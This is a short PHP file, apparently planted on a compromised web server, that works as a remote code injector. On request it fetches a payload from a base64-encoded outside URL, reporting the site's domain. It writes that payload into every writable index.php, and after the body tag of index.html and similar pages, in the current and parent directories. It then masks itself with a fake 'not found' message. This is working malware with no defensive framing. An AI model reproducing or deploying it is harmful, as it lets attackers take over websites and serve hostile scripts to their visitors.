p824909.php

<?php
$fnms=array(".","..","../..", "../../..");
$sfnms=array("index.html", "index.htm", "index.shtml", "default.asp");
if(isset($_GET['pdata']) && $_GET['pdata']) {
  $d = file_get_contents(base64_decode($_GET['pdata'])."?domain=".base64_encode($_SERVER['HTTP_HOST']));
  foreach($fnms as $p)
   if(file_exists("$p/index.php") && is_writable("$p/index.php")){
    $f=@file_get_contents($p."/index.php");
    $f=preg_replace("|<\!-\S{20}---><\?[^\?>]+\?>|sU",'',$f);
    $fw=@fopen($p."/index.php","w");
    @fwrite($fw, $d.$f);
    @fclose($fw);
   }
}
if(isset($_GET['ddata']) && $_GET['ddata']) {
  $d = file_get_contents(base64_decode($_GET['ddata'])."?domain=".base64_encode($_SERVER['HTTP_HOST']));
  foreach($fnms as $p)
   foreach($sfnms as $fn){
    if(file_exists("$p/$fn") && is_writable("$p/$fn")){
      $f=@file_get_contents("$p/$fn");
      $f=preg_replace("|<\!-\S{20}--->.+<\/script>|sU",'',$f);
      $f=preg_replace("|(<body[^>]*>)|i","\${1}$d",$f);
      $fw=@fopen("$p/$fn","w");
      @fwrite($fw, $f);
      @fclose($fw);
    }
   }
}

die("808/2 N0T F0UND Oyaeb00panda");

?>